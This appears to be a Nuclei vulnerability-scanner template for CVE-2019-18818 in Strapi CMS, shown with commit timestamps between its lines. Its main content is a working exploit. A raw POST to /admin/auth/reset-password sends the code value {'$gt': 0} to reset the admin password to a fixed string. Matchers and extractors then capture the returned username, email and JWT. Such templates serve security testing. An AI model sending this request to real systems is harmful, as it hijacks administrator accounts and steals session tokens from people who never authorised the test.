2021-09-04 07:00:28 +00:00
id : CVE-2019-18818
info :
2021-09-05 10:21:47 +00:00
name : Strapi CMS - Admin password reset (Unauthenticated)
2021-09-04 07:00:28 +00:00
author : idealphase
description : strapi before 3.0.0-beta.17.5 mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.
reference :
2021-09-05 10:21:47 +00:00
- https://github.com/advisories/GHSA-6xc2-mj39-q599
2021-09-04 07:00:28 +00:00
- https://www.exploit-db.com/exploits/50239
- https://nvd.nist.gov/vuln/detail/CVE-2019-18818
severity : critical
2021-09-05 10:21:47 +00:00
tags : cve,cve2019,strapi,auth-bypass,intrusive
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.80
cve-id : CVE-2019-18818
cwe-id : CWE-640
2021-09-04 07:00:28 +00:00
requests :
2021-09-05 10:21:47 +00:00
- raw :
- |
POST /admin/auth/reset-password HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
Content-Type : application/json
{"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1" }
2021-09-04 07:00:28 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
2021-09-04 08:29:56 +00:00
2021-09-04 07:07:24 +00:00
- type : word
words :
- "application/json"
part : header
2021-09-04 07:00:28 +00:00
- type : word
words :
2021-09-05 10:21:47 +00:00
- '"username":'
- '"email":'
- '"jwt":'
2021-09-04 07:00:28 +00:00
part : body
2021-09-05 10:21:47 +00:00
extractors :
- type : json
json :
- .user.username
- .user.email